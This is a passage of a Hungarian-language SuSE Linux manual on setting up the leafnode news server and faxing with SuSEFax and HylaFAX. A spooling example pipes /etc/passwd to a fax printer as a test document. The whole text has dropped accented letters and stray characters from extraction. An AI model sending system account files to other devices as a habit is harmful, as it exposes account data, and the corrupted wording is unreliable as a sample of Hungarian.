Fordtotta: Vradi Istvn Az egyik legfontosabb szolgltats amit az Internet nyjt, a szlltsa s kzbestse a hreknek (news), amiket klnbz csoportokra oszt szt. Ez az o a rsze az Internetnek amire gyakran, mint az Usenet-re hivatkoznak. Csak ennek a mdiumnak a ltezsn keresztl vlt egyltaln lehet v a Linux o kifejlesztse. Csak ezen a nagyon hatkony kommunikcis formn keresztlt volt s van lehet sg gyorsan kifejleszteni s eltvoltani program hibkat o (bugs)4 . Azonkvl az USENET fontos tmogatsi mdiuma a Linux felhasznlknak vilgszerte. A teljes lersa a news rendszernek az sszes ezernyi lehet sgeivel (mint a o news tovbbtsa ms gpekre) messze tl van ennek a knyvnek a tmakrn. Csak az alap helyi rendszert rjuk itt le. Nagy rendszereknek az inncsomag (n sorozat) hasznlatt kell fontolra vennik. Az INN dokumentcija taln megtallhat a /usr/ share/doc/packages/inn alatt. Ajnlanunk kell az INN-t ms news olvasknak ha mi az UUCP-vel dolgozunk. Nincs teleptsi tmogats az INN belltshoz (lsd az A.1.2 . fejezetben (520. oldal)) De mi rmmel segtnk a zet s szolgltasunk keretn bell, Professzionlis o Szolgltats (lsd az A.3 . fejezetben (524. oldal)). 6.9.1 A Leafnode News rendszer

A leafnode egy tkletes news rendszer a kis hlzatokra vagy az egyedlll gpekre. Ez tbb rszb l ll: az NNTP szerver leafnode, a leafo node (azel tt fetch) program, hogy kinyerje a news cikkeket s a texo pire program a rgi cikkek trlsre. Vannak kiegszt (add-ons) eszko zk hogy karbantartsk a hatalmas mennyisg adatot, ami sszegy jthet a u u o /var/spool/news-ban. Az sszes alkotelem dokumentcija megtallhat a /usr/share/doc/packages/leafnode-ban, valamint a man 8 leafnode-ban s a manlapok-ban.
3 4

Lsd [CAR93]. habr a m kdsnek nagyrszt id kzben tvettk a "levelezsi listk (mailing lists)" u o

205

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Kvessk a frisstsi utastsokat a 15.2.7 . fejezetben (427. oldal). Kvetelmnyek a Leafnode-hoz Szksgnk van arra, hogy egy kls NNTP szerverhez kapcsoldni tudo junk, akr modemen keresztl (PPP), ISDN vagy ms hlzati kapcsolattal (pl. Ethernet). Ez a szerver lt el minket hrekkel (news). Ktsg esetn, krdezzk meg az ISP-t hogy tovbbi informct kapjunk az NNTP szerverr l. o A leafnode csomagot az n kszletb l telepteni kell. o Sok szabad hely kell a /var/spool/news alatt... Tovbb kvetnnk kell a leafnode belltsi listjnak lpseit. Helyi NNTP szerver El szr, gy z djnk meg, hogy a leafnode mint helyi NNTP szerver fut-e. o o o 1. A /etc/rc.config fjlban lltsuk az <NNTPSERVER> vltozt localhost rtkre. Itt beadhatjuk a valdi hostnevnket (pl. meggyfa), termszetesen. Ez mindenkppen szksges a hlzati krnyezetben. Az <NNTPSERVER> vltoz belltst legjobban a YaST -tal tehetjk meg (lsd a 3.6.12 . fejezetben (116. oldal)), mivel a YaST automatikusan elindtja a SuSecong-ot. 2. Ezutn be kell lltanunk a /etc/leafnode/config-ot egy szerkeszt -vel. Itt be kell adnunk az ISP-nk NNTP szervernek nevt (a o server = sorban). 3. Gy z djnk meg rla, hogy a leafnode-ot elindtotta az inetd. Tvoo o ltsuk el a "#" jelet az nntp bejegyzs el l a /etc/inetd.conf-ban o (lsd a 6.9.1 fjllistt). 4. Indtsuk jra az inetd -t. Hasznlhatjuk az rcinetd restart-ot.
nntp stream tcp nowait news /usr/sbin/tcpd /usr/sbin/leafnode

6.9.1 fjllista: inetd bejegyzs a leafnode-hoz Most, hogy mindent belltottunk, felmehetnk a news szervernkhz az els o kapcsolatra. telnet localhost 119-cel leellen rizhetjk, a leafnode reakcijt. o Ha reagl, rjuk be quit s az visszahoz minket a parancssorhoz. A news rendszer beindtsa s karbantartsa Most elindthatjuk a rendszert. Indtsuk el a kapcsolatot az ISP-nkhez (modemen vagy ISDN keresztl). Az els kapcsolatkor a fetchnews le fogja o hozni a news szerveren elrhet news csoportok listjt. Ezeket elmenti a o /var/spool/news/interesting.groups alatt. Ha b vebb inforo mcit akarunk, indtsuk el a fetchnews-t a -vvv opcival: 206

6.10. FAX-hasznlat Linuxon


meggyfa:~ # fetchnews -vvv

A cikkek mg nem elrhet k ennl a pontnl. Egybknt el kell majd indo tanunk egy NNTP news olvast s lthatjuk a (mg res) csoportokat (lsd a 6.9.1 fjllistt). A leafnode felismeri ezt s a fetchnews kvetkez mego hvsakor, a csoportok feltlt dnek cikkekkel. o Ha nem akarjuk a fetchnews-t kzzel beadni minden alkalommal, amikor online-ra megynk, hozzadhatjuk ezt a /etc/ppp/ip-up szkriptnkhz. A news rendszer karbantartsa A leafnode-ot gy terveztk meg, hogy tbb kevsb karbantartja sajtmagt. Ez azt jelenti, hogy a csoportok amiket nem olvasnak egy bizonyos ideig, azokat tbb nem fogja lehvni a fetchnews. Az egyetlen vals dolog, amit meg kell tennnk, hogy meggy z dnk a rgi o o cikkek eltvoltsrl. Ezt a texpire-rel vgezzk el. A megfelel bejegyzs a o /etc/crontab-ba mr bekerlt; csak tvoltsuk el a # jelet az elejr l, o amint a 6.9.2 fjllistn lthat.
0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire

6.9.2 fjllista: Lejrati bejegyzs a leafnode-hoz a /etc/crontab-ban A /etc/leafnode/config belltsi lehet sgek magyarzata taln o megtallhat a man leafnode-ban. A News olvassa A news olvassra szmos eszkz van, mint pl. nn, tin vagy pine. Mg a Netscape vagy az Emacs is hasznlhat. Alapjban szemlyes elhatrozs, hogy melyik news olvast helyezzk el trbe. A legtbb news olvast belo lthatjuk, hogy azok elrhetik a news szervert valamint a helyi gy jt knyvu o trat (spool directory). El re belltott csomagok tallhatk a SuSE Linux n o kszletben . Ha a tin-t akarjuk hasznlni a leafnode kapcsoldsra az NNTP szerverhez (lsd a 6.9.1 . fejezetben (205. oldal)), meg kell hvnunk az rtin-t.

6.10

FAX-hasznlat Linuxon

Fordtotta: Zelena Endre s Vradi Istvn Linux-krnyezetben kt lehet sg van FAX-ok kldsre s fogadsra: o Kombinlhatjuk az mgetty programot a sendfax-szal, s a g3utils csomagban tallhat segdprogramokkal, vagy telepthetjk a HylaFAX FAX-szervert, amihez megkapjuk a Java-ban ksztett SeSEFax el tt programot. o 207

6. Kapcsolds a vilghoz s aztn hogyan tovbb? A SuSE Linux 6.3 verzijtl kezdve az mgetty -t hrom klnll csomagra bontottuk: mgetty , g3utils s sendfax . A hylafax s a sendfax csomagokban nhny parancs azonos. A kvetkez kt fejezetben a hylafax s a SuSEFax teleptsvel s bellto sval foglalkozunk. 6.10.1 SuSEFax HylaFAX Fax kliens Mint mr emltettk, a SuSEFax program Java-ban kszlt. Ez leegyszer stve azt jelenti, hogy a susefax csomag mellett telepteni kell a Java u Developers Kit-et (JDK). Ha ms krnyezetben szeretnnk hasznlni a SuSEFax programot, teleptennk kell a susefax csomagot, majd t kell msolnunk a hasznlni kvnt krnyezet egy knyvtrba a /usr/lib/SuSEFax knyvtr teljes tartalmt. Az indt szkript A SuSEFax programot egy kis szkript, egy "wrapper" indtja. Ez gyakorlatilag arra szolgl, hogy belltsa az sszes szksges paramtert, ellen rizze o a belltsokat, s meghvja a Java-rtelmez t. Termszetesen bellthat a o SuSEFax rendszer ett l a "wrapper"-t l teljesen fggetlenl is. o o A 6.1 tblzatban tallhatak a SuSEFAX belltsai, jelentskkel s alaprtelmezett belltsukkal. Ezek a belltsok lesznek rvnyesek a program paramterek nlkli indtsakkor. Alapesetben csak egy paramtert kell belltani, ez a susefax.images. Tbbfelhasznls tulajdonsgokkal rendelkez opercis rendszeren, (pl. Linux-on) ez sem szksges. Egyo szer stve ez annyit jelent, hogy valamennyi felhasznlhoz hozzrendelnk u egy sajt knyvtrat UNIX s Windows NT rendszeren. (OS/2 -n nem!) Amennyiben a felhasznlt rendszeren ez nem lehetsges, bellthatak a susefax.setup.path, susefax.setup.file, ugyangy, mint a susefax.phonebook.file paramterek, ellenkez esetben el fordulo o hat, hogy a SuSEFAX nem m kdik tkletesen. u

Paramter susefax.setup.path

Alaprtk $HOME

susefax.setup.file susefax.phonebook.file susefax.images

.susefaxrc .susephone ./images

Jelents A kongurcis fjlokat s a telefonszmlistt tartalmaz knyvtr. A kongurcis fjl neve. A telefonszmlista neve. A szksges kpfjlokat tartalmaz knyvtr.

6.1 tblzat: A SuSEFax program belltsai Ha valamelyik paramtert szeretnnk megvltoztatni, csak a megjegyzst kell eltvoltani a vltoz neve el l. (A fjl tartalmt lsd 6.10.1 fjllistban.) o 208

6.10. FAX-hasznlat Linuxon


# if you want to store the settings other than # $HOME/.susefaxrc, then you may place another # path and/or filename here SETUPDIR= SETUPFILE= # -Dsusefax.setup.path=/where/ever/you/want # -Dsusefax.setup.file=/what/ever/you/want

# even the phone book can be renamed to whatever PHONEBOOK= # -Dsusefax.phonebook.file=asyoulikeit

6.10.1 fjllista: A /usr/X11/bin/susefax indtszkript rszlete Kezels hasznlati tmutat Ez az alkalmazs ablaka, a Send queue menpont aktivlsa, s a Fetch state meghvsa utn. A Fetch state menpont megmutatja a vrakoz feladatokat, vagyis az utols nhny percben elindtott FAX-okat. A Receive queue gomb megnyomsra megkapjuk az elmlt nhny napban rkezett FAX-ok listjt. Bellthat az automatikus frissts id kze az Update information menre kattintva, majd o az alatta lv beviteli mez be berva, s a megnyomva. A feladato o -t lista mellett megadhat, hogy mi trtnjen a lista elemeire ktszer kattintva. Ez fgg attl is, hogy melyik nyomgomb (Receive button vagy Send button) aktv. A Send queue men esetn megadhat, hogy az adott feladatrl adjon informcit a dupla kattints, vagy trlsre kerljn a feladat. Az Extras menben kivlaszthat a hasznlt nyelv. (angol vagy nmet.) Bellts Miel tt a szervert munkra fognnk, az alkalmazs belltsait el kell vgezo nnk. Ez a Program men Main Settings pontjban trtnhet meg. Valamennyi bellts mentsre kerl, illetve a programbl val kilps is a belltsok mentsvel jr egytt. ltalnos belltsok A belltsok jelentse: Username: A felhasznl neve. A FAX-fed lap ksztshez szksges. o E-mail: A FAX-szerver valamennyi zenete a megadott E-Mail cmre elkldsre kerl. Pldul egy elkldsre vr FAX trlse a vrakozsi sorbl, stb. User account: A FAX-szerver meg tudja klnbztetni az egyes felhasznlkat. Ezzel meg lehet tiltani, illetve engedlyezni lehet a szerver hasznlatt. Termszetesen jelszhoz is kthet a szerver hasznlata. o Hostname of the fax server: A FAX-szervert futtat szmtgp neve. 209

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

6.6 bra: Kldsi vrakozsor Automatic faxing: Amennyiben ez a gomb aktv, a szerver rendszeresen ellen rzi a Spool file menben megadott fjlt. Amennyiben o ez megvltozott, automatikusan feljn a Send fax ablak. Ez akkor hasznos, ha fjlba nyomtatunk valamelyik msik alkalmazsbl. Ezzel valamennyi alkalmazs alkalmass vlik FAX-kldsre, amennyiben kpes Postscript-fjlba nyomtatni, mivel az konvertlhat FAX-formtumm. (lsd a 6.10.3 . fejezetben (217. oldal)) Spool le: Itt llthat be az automatikus FAX-kldshez tartoz feladatgy jt (spool) fjl. A Browse gombra kattintva egy fjlbngsz ben u o o vlaszthatjuk ki a megfelel fjlt. o Fax cover: A FAX-fed lap automatikus elksztshez egy specilis o Postscript fjlra van szksg. Ennek a teljes elrsi tjt kell itt megadnunk. Time zone: Ennek azonosnak kell lennie a FAX-szerveren belltott id zo nval. Locale: A dtum s az id formtuma fgg ett l a belltstl, pl. az autoo o matikus fed lap elksztshez. o 210

6.10. FAX-hasznlat Linuxon

6.7 bra: Az ltalnos belltsok ablaka Feladatbelltsok Miutn megtrtnt a globlis bellts, a rendszer kszen ll az els FAXo ok elkldsre. A FAX, vagy a fjl elkldend job-b, vagyis feladatt o alakul (termszetesen ms elkldend feladattal egytt.) Minden feladatnak o van nhny sajt paramtere, amelyeket a vrakozsorba val bekerls el tt, o s utn is be lehet lltani, vagy meg lehet vltoztatni. A vrakozsorba kerls el tti bellts az Extras menn t elrhet Job settings o o ablakban tehet meg. Ennek rvid ttekintse a kvetkez : o o Notication Scheme: Itt llthatjuk be, hogy a mr korbban megadott EMail cmre milyen esetekben kldjn zenetet. Ngy eset lehetsges: Never (only errors): Csak akkor kld zenetet, ha a feladat feldolgozsa sorn hiba trtnt. (Az ellenlloms foglaltsga esetn nem!) Alaprtelmezs szerint ez a bellts l, azaz az elkldtt fax-rl nem kapunk visszaigazolst! After sending: A FAX sikeres elkldse utn kld levelet a felhasznlnak. After a Re-queue: Amennyiben a hvott faxkszlk foglalt, a szerver jra belltja a sorba a feladatot. Ezzel az opcival, err l az esemnyr l o o kapunk zenetet. After Re-queue and Sending Az el z kt esemny kombincija, o o azaz a sikertelen (foglaltsg miatt) s a sikeres kldsr l is tjkoztao tst kld a szerver. 211

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

6.8 bra: A feladatbellts ablaka ltalban az els sma kerl alkalmazsra, mg akkor is ha msikat vo lasztottunk. Resolution: Itt adhat meg az elkldtt fax felbontsa, vonal/inch mrtkegysgben. (Norml, illetve nom felbonts.) Priority: A feladat fontossga, a vrakozsorbeli indul prioritsa adhat meg. Az alaprtelmezett rtke 127, mely (pl. foglalt vonal esetn) mdosul. Maximum tries to send: jrakldsek szma. Amennyiben sikeresen felplt a kapcsolat, ennyiszer kisrli meg a faxprogram a kldst. Maximum tries to dial: A hvsi kisrletek maximlis szma. Amennyiben a hvott szm foglalt, vagy ms okbl a kapcsolat nem pl fel, ennyiszer prblja jra hvni a megadott telefonszmot. Paper format: Jelenleg az A4, A3 s Letter lapmretek tmogatottak. Ez az elkldsre vr PostScript dokumentum formtumtl fgg. A f ablak Modify job parameter gombjra kattintva egy prbeszo dablakot kapunk, ahol a kvetkez , a fentiekkel azonos paramtereket lehet o belltani: Notification scheme, 212

6.10. FAX-hasznlat Linuxon Maximum tries to send, Maximum tries to dial. Kls megjelent program o o Ha a feladatlista berkezett fax-okat is mutat, azok megtekinthet ek egy o kls megjelent programmal. A FAX maga tiffg3 formtumot hasznl. o o A megjelent programnak alkalmasnak kell lennie ennek a formtumnak a o kezelsre. Maga a formtum megengedi, hogy tbb oldalt tartalmazzon egy fjl. A SuSEFax programhoz tartozik egy kis parancsfjl, amely ebb l o PostScript fjlt kszt. Ez a parancsfjl a Sam Lefer [Lef96b] ltal ksztett TIFF Software fax2ps programot hasznlja. (tiff .) Ezt a formtumot PostScript nzeget vel kezeli. Ezrt a parancsfjl a Johannes Plass ltal rt o gv indexgv@gv programot keresi. (gv ) Amennyiben nem tallja meg, Timothy O. Theisen GhostView programjt hasznlja, a gs_x11 -bl. Ennek a nzeget segdeszkznek a neve docview, s a /usr/lib/SuSEFax o knyvtrban tallhat meg. A kls megjelent opcii: o o Path to temporary les: A SuSEFax itt trolja a tiffg3-at a szerverr l s o behelyettesti a $F-t az image teljes tvonalval. Ha egy felhasznl akarja a SuSEFax-ot futtatni, ahhoz rsi s olvassi joggal kell hogy rendelkezzen ebben a knyvtrban! Invoking the viewer: Itt meg kell adnunk a teljes tvonalat a programhoz, amelynek meg kell jelenteni a fjlt. El kell fogadnia a fjl nevt, mint paramtert. FAX kldse A SuSEFax s a HylaFAX belltsa utn meg kell gy z dnnk arrl, hogy, o o meg tudjuk szerezni a faxszerver belltsi llapott (lsd 6.10.1 . fejezetben (209. oldal)). Klnben nem fogunk tudni faxot kldenia SuSEFax s a HylaFAX bellts hibaellen rzsre. Ha mindent megfelel en lltottunk be, o o egy prbeszdablakot kell ltnunk amikor rkattintunk a Fax kldsre. Az albbi tteleket vlaszthatjuk ki: Telephone number of the remote host: A tvoli gp telefonszma. Kivlaszthatunk egy szmot a telefonknyvb l, ha rkattintunk a Telefono knyvbl gombra (termszetesen el tte be kell adnunk a szmokat). o o Document to be sent: Itt meg kell adnunk a teljes tvonalt a dokumentumnak, amit el szeretnnk kldeni. Ha a Keress-t vlasztjuk, kivlaszthatunk egy fjlt a bngsz b l. o o Use fax cover: Ez csak akkor van aktivlva, ha az ltalnos belltsokban mr bellltottuk a fax fed lap fjlt. Ekkor majd a fax fed lapot el fogja o o o lltani s elkldi. Do not send immediately: Ha ez aktv, egy prbeszd ablakot kapunk ahol beadhatjuk, a fax elkdsi idejt. Ha kilpnk ebb l az ablakbl a o 213

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Mgsem-re kattintva, a faxot azonnal elkldi, ugyangy mint amikor a Fax klds-re kattintunk. Az id s dtum belltshoz: o Amikor kivlasztottunk valamit, meger stjk ezt a o lenyomsval. Most a program leellen rzi, hogy ez rvnyes dtum-e. Ha nem, o talaktja rvnyes dtumra. Kld neve: Itt, a kld nevt lltjuk be, amit az ltalnos bellts hasznl o o majd. Cmzett neve: Tma: Cgnek: Megjegyzs: A Poll fax kivlasztsa felttelezi, hogy belltottunk egy telefon szmot a fax polling szervernek. Meg kell adnunk a kldend fjl nevt. o A feladat (job) lista fontossga Amint feljebb emltettk, vltogathatunk a kldend s rkezett besorolsok o (queue) tartalma kztt. Itt az eljrs rvid sszefoglalsa: Berkezs sorolsa(queue)

6.9 bra: Plda a berkezs sorolsra (queue) >Balrl jobbra: a jogosultsgok, a mret (bjtban), oldalak szma, a TSI s a megrkezett fax neve. A TSI (Transmission Subscriber Identication) az egy felhasznl azonost formtum ezen a gpen belltva. Ennek nem szabad egy telefonszmnak lennie. Viszont lehet ez egy cg neve. Bejv faxok csak akkor lthatk, ha kett t kattintunk r s ha a fax szero o ver gy van beltva, hogy minden felhasznl olvashatja azokat. Annak rdekben, hogy ez m kdjn, be kell lltanunk 0644-re az rtket a u RecvFileMode:-ban a /var/spool/fax/etc/config.device alatt (lsd a 6.10.4 . fejezetben (220. oldal)). Besorols (queue) elkldse >Balrl jobbra: a feladat (job) azonost (ID), a feladat srg ssge (priority), o a felhasznl account-ja, a cmzett telefon szma, a prblkozsok ideje/vagy szma s a csngetsek maximlis szma. Ha hiba fordul el , ltni fogjuk a o vonatkoz hibazenetet. A feladat szmt a faxszerver automatikusan osztja ki. Bellthatunk srg ssget (priority), mint felhasznl, de a szerver mo dosthatja ezt a belltst. A felhasznli account megmondja, hogy melyik 214

6.10. FAX-hasznlat Linuxon

6.10 bra: Plda a besorols (queue) elkldsre felhasznl indtotta a feladatot. Egyedl csak a felhasznl az, aki trlheti a feladatot, vagy megvltoztathatja annak paramtereit. A telefonknyv

6.11 bra: A telefonknyv A telefonknyvet (lsd a 6.11 brt) a szemlyes telefonszmaink adminisztrlsra s karbantartsra hasznljuk. Ha els alkalommal kattintunk az o Integrated Telephone book gombra, egy zenetet fogunk kapni, hogy telefon knyv nem tallhat. Kattintsunk az OK-ra, mivel el szr o ltre akarjuk hozni a telefonknyvet. Egy res telefonknyv sablont fogunk ltni ahov berhatjuk a gyakran szksges fax szmainkat. Kattintsunk a Hozzad-ra, s tltsk ki az els bejegyzsi mez t. A tab billenty vel o o u mehetnk a kvetkez mez re. A Vltozs eldobsra (Diso o card changes) kattintva kitrlhetjk a rszleteket, amit beadtunk. Amikor befejeztk kattintsunk a Bejegyzs elfogadsa gombra s utna az Ablak bezrsra. Most meg van az els bejegyzsnk a o telefonknyvben. Ha ezt egy egrkattintssal kivlasztjuk, akkor kldhetnk faxot a krdses szemlynek vagy cgnek. Amint szmos bejegyzsnk van, rendezhetjk ezeket az albbiak szerint: nevk, el nevk, faxszmuk, vagy a o cg nevei alapjn. Ne felejtsnk el nevet adni a telefonknyvnknek, tetszs szerint, a Ments msknt (Save as ...) gombra kattintssal. Ha aktivizltuk a Bejegyzs megnzse mdot, kett s kattints a o Fax klds-re el fogja hozni a Fax klds prbeszdablako ot, az Elnv, Nv, Telefon szm, Cg s Megjegyo zs bejegyzseket alaprtelmezsknt hasznlva a fed laphoz (lsd 213). o 215

6. Kapcsolds a vilghoz s aztn hogyan tovbb? A fed lap csak akkor kerl elkldsre, ha aktivltuk a Fedlap haszo o nlta ttelt. Ha elindtottunk egy eljrst, ami kikapcsolja a kivlasztsi svot (pl. a Rendezs (Sort) ltal), reaktivlhatjuk azt, ezutn egy bejegyzs kivlasztsval. Egy j bejegyzst adunk hozz azonnal, amint rkattintunk a Hozzad gombra. A Feldolgozs (Process)-szal megvltoztahatunk egy bejegyzst, ha hibztunk vagy ha a telefonszm megvltozott. Az Eltvolts (Remove) trli a jelenleg kivlasztott bejegyzst. A lista csak akkor rendez dik, ha kimondottan aktivltuk a Rendezs (Sort) gomo bot. A Vltozs mentse s a Ments & Kilp gombok vglegess teszik a telefonknyvnk vltozsait. A vltoztats elvetsre nyomjuk meg a Mgsem gombot. A SuSE Phone-nal tbb klnbz telefonknyvet hozhatunk ltre, pldul o ha akarjuk, egy magn knyvet s egy zleti knyvet is kszthetnk kln. Ehhez kattintsunk az j telefonknyv-re, s a Hozzad-dal most el llthatunk egy bejegyzsi listt. Amikor befejeztk, csak egy nevet o kell adnunk a telefonknyvnek a Ments mskp (Save as ...)el. A Telefonknyv kinyitsa gombbal hozzfrhetnk a klnbz telefonknyvekhez. o A Ments s Ments & Kilp gombokat csak akkor vlaszthatjuk, ha egy gombot a bejegyzs szerkeszt ben, ezekb l: Bejegyzs o o mentse, Rendezs vagy Eltvolts kivlasztottunk. A Mgsem-mel kilphetnk a telefonknyvb l akrmikor. Az el nem meno tett bejegyzs azonban el fog veszni. A telefonknyv nll alkalmazsknt is hasznlhat. Ennek a bortsra (wrapper) a susephone ll rendelkezsnkre. Csak adjuk be a susephone-t a shell alatt. Azonban faxot nem kldhetnk most. Nem tancsos elindtani a telefonknyv programot ktszer ugyanazzal a felhasznli account-tal. Ha vletlenl ezt tettk, vigyzzunk, hogy ne mentsk el mindkt programot. Fax krlevelek (Serial faxes) A fax prbeszdablak formtum lehet v teszi, hogy el lltsunk fax krleo o vl listt a telefon listbl. Egy ttel hozzadshoz, vagy eltvoltshoz, el szr ki kell jellnnk azt. Kivlaszthatjuk akr az egrrel, vagy egy kapo csol gombbal. Ha a Kapcsol(Toggle) aktvlva van, minden kivlasztott bejegyzs kikapcsolsra lesz megjelellve, s viszont. Ugyanez vonatkozik a listra is. A Fax klds elkldi a faxot a listn tallhat sszes szmra. Nem tudunk fed lapot kszteni a krlevl faxokhoz. o 6.10.2 Fax fed lap automatikus el lltsa o o

Amint fentebb emltettk, szksgnk van egy PostScript sablonra a fax fed lapok automatikus el lltshoz. Ez nmagban nem PostScript fjl, de o o egy sablon, ami tartalmaz bizonyos hely megjellseket amit automatikusan beilleszt a fed lap el lltsa sorn. Egy sablon el lltsa id ignyes lehet. o o o o 216

6.10. FAX-hasznlat Linuxon


A Ha ismerjk a LTEX-et, taln hasznlhatjuk a latex-cover 5 . Ez tartalmaz egy knnyen hasznlhat TEXformt a fed lapok ltrehozsra TEX-szel. o Ehhez a csomaghoz, s a hylafax -hoz hasznlt fed lapot evvel a sokoldal o eszkzzel ksztettk.

Ha nem akarjuk ezt hasznlni, ksztennk kell egy norml PostScript fjlt s azt kzzel kell beillesztennk. SuSEFax Milyen kulcsszavakat ismer a SuSEFax? Ha mdostani akarjuk a TEX dokumentumot, tudnunk kell, hogy a SuSEFax csak az albbi makrkkal helyettesthet : o \toperson \from \regarding \tocompany \todaysdate \comments

Ha le akarjuk ellen rizni a sablont, amit csinltunk, hasznlhatjuk a faxcover o eszkzt amit a hylafax tartalmaz. Ez egy PostScript fjlt fog ltrehozni a sablonbl. Kinyomtathatjuk vagy megnzhetjk azt. Hasznlhatjuk a Java binris FaxCovergen.class programot is a susefax csomagbl. Csak adjuk meg az albbit:
jancsi@meggyfa:/home/jancsi > java -classpath /usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen

o Most a 6.10.1 kperny listt kell ltnunk:


Command: FaxCovergen forrsfed.ps docnv.ps clfed.ps o o

6.10.1 kperny lista: Egy fax fed lap ksztse o o A forrsfed a mi sablonunk. A docnv.ps a dokumentum, amit el foo gunk kldeni. Ezt a clfed.ps-ben fogja elmenteni. Most akrmelyiket megnzhetjk. 6.10.3 Fax Spooling UNIX /Linux-on

A SuSEFax spooling mechanizmust eredetileg a Windows hasznlatra terveztk. Hasznlhatjuk ezt Linux-on is. Ahhoz, hogy ez m kdjn telepteu nnk kell a faxprint csomagot az n kszletb l. o Ha talaktottuk a /etc/passwd-t PostScript fjlra az albbi paranccsal a2ps -nP /etc/passwd | lpr -Pfax, kell lennie egy fjlnak a /tmp alatt fax_accountname.ps nven. Az accountname csak a bejelentkezsi nevnk. Ha ez a fjl ltezik, beadhatjuk azt, mint spool fjl, amint
5

Ez a /usr/share/doc/packages/hylafax al a hylafax -szal van teleptve.

217

6. Kapcsolds a vilghoz s aztn hogyan tovbb? lertuk a 6.10.1 . fejezetben (209. oldal), s aktvljuk az Automatikus fax gombot. A spooling mechanizmus csak akkor m kdik, ha a SuSEFax fut. Ebu ben az esetben, rendszeresen ellen rzi a spool fjl id jelt (stamp) o o Lastmodified s kinyitja azt, ha az megvltozott. 6.10.4 HylaFAX Distributed Faxes Mukdse A HylaFAX teleptse s belltsa nem tartozik bele a teleptsi tmogatsunkba (lsd a A.1.2 . fejezetben (520. oldal)). Hogy m kdik a fax szerver: u A 6.12 bra szemllteti a fax szerver klcsnhatst a kliensekkel. Amint lthatjuk hrom klnfle ton kommuniklnak a szerverrel. A protokoll, amit hasznl, a 4557-es porton mg mindig hasznlatban van, a rgebbi verzij HylaFAX kompatibilitsa miatt. A WinFlex Peter Bentley-t l, pldul o Windows-on fut s mg mindig hasznlja ezt a protokollt. j klienseknek az j protokollt kell hasznlniuk a 4559-es porton. Ez a protokoll a File Transfer Protocol, RFC959-on alapszik . A harmadik elrhet protokoll az SNPP o (Simple Network Paging Protocol, RFC1861). A szerver maga hrom klnbz dmonbl ll. Mindegyik egy specilis o feladatrt (task) felel s: o hfaxd Ez a protokoll szerver. Ez felel s a szerver s a kliens kztti komo munikcirt. Ez elindthat nmagban, pl. az init processzen vagy az inetd -n keresztl. Ez megoszt egy "Els nek jn, els nek megy (FIFO) o o fjl"-t a faxq processzel magval. faxq Ez az gynevezett "Besorol (Queueing Agent)". Ez felel s a bejv o o s kimen faxok karbantartsrt, valamint a feladatok besorolsrt. Ez o a procesz llandan fut. Biztostanunk kell, hogy csak egy fusson ezek kzl. faxgetty Ez az eszkz felel s a modem s a szerver kztti kommunikcio rt. A faxgetty alternatvjaknt, hasznlhatjuk a faxmodem eszkzt, ha kldeni akarunk faxot, de kapni nem. Alternatvan, vezrelhetjk ezt a FIFO fjl szerint6 . Knyvtr szerkezet A szerver change root mdban fut (lsd man chroot). Alaprtelmezsknt, a Server-Rootknyvtr a /var/spool/fax. Minden procesz s a ServerRootknyvtr maga is az uucp-hez tartozik. A Server-Rootsszes knyvtr listja megtallhat a 6.2 . fejezetben (220. oldal) tblzatban, egy rvid lerssal egytt.

FIFO = Els nek be, els nek ki. o o

218

6.10. FAX-hasznlat Linuxon


Fax Modem

HylaFAX
Fax Server

(TM)

TCP/IP 4559
New Protocol Similar to the FTP Protocol)

Clients SNPP
Simple Network Pager Protocol

6.12 bra: Hogy m kdik a HylaFAX szerver u

archive A feladatokat itt archivljuk, ha a job archival support aktivlva van. bin Az sszes szkript amit a: faxq, a faxsend, a pagesend s a faxgetty hasznl. client A FIFO fjlokhoz, amik a faxq-val kommuniknak. config Kongurls, jogosultsgok s felhasznli account-ok. dev Mivel az egsz rendszer a chroot-ban fut, itt megtalljuk az sszes szksges karakteres eszkzket (null, socksys s tcp). docq Ez, valamint a tmp, az el -ellen rzsi feladatokra hasznlatos. o o doneq Feladatok, amik ksz vannak, de sem archivlva sem letrlve nincsenek. etc Lsd man config. info Ez az ltalnos informcikrt azokon a host-okon, amiket mr ismer a HylaFAX . log Itt, megtalljuk a naplkat, mindkett t a kld t s az rkezettet. o o pollq Ez a dokumentumoknak, amiket polling ltal szerzett a szerver.

6.2 tblzat: folytats a kvetkez oldalon...... o 219

The Three Net Protocols

4557
Old Protocol (Compatibility)

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

recvq sendq status tmp

Bejv faxok. o Kimen faxok. o llapot informci a szerverr l magrl. o Lsd man docq.

6.2 tblzat: A HylaFAX Server-Rootknyvtrai s m kdsk u

Tovbb, vannak klnbz FIFO fjlok: a /var/spool/fax/FIFO fjl o maga, valamint modemenknt egy /var/spool/fax/FIFO.devname, amit a faxgetty tart karban. A devname kpviseli az eszkzt, amihez a modem kapcsoldik. Bellts A bellts maga megoszlik a 2 s 2+n belltsi fjl kztt. Itt az n kpviseli azt a szmot, ahny modemet hasznlunk. A /var/spool/fax/ etc alatt, megtalljuk a config s a config.device fjlokat. Az utbbi belltja a modemet, ami az eszkz (device)-hz csatlakozik. gy ha egy modem a /dev/ttyS0-hoz csatlakozik, a nv, config.ttyS0 lesz. Az ltalnos belltsokat a config-ben adjuk meg. Ezek kellenek az temezett procesznek, a faxq-nak magnak. Modem-specikus belltsokat taln a config.device-ban tallhatunk. A besorolsi szolgltats (queueing service) belltsait taln a config-ban talljuk meg. A fjlok a protokoll szerverhez a /usr/lib/fax/hfaxd.conf alatt vannak. Ezek a belltsi fjlok automatikusan jnnek ltre, ha meghvjuk a faxsetup-ot a telepts utn. Plda bellts Itt ltunk egy plda folyamatot a faxsetup-pal. A 6.3 tblzatban lthat adatokat fogjuk hasznlni. Lejjebb, a kvr bet ket hasznltuk a bejegyzsekhez. u

Telefonszm Modem FaxClass

(0)49(0)911-123456 2.0

6.3 tblzat: HylaFAX bellts plda adatok Az temez (scheduler) belltsa o

Should an entry be added to /etc/inetd.conf [no]? Country code [1]? 49 Area code []? 911

220

6.10. FAX-hasznlat Linuxon


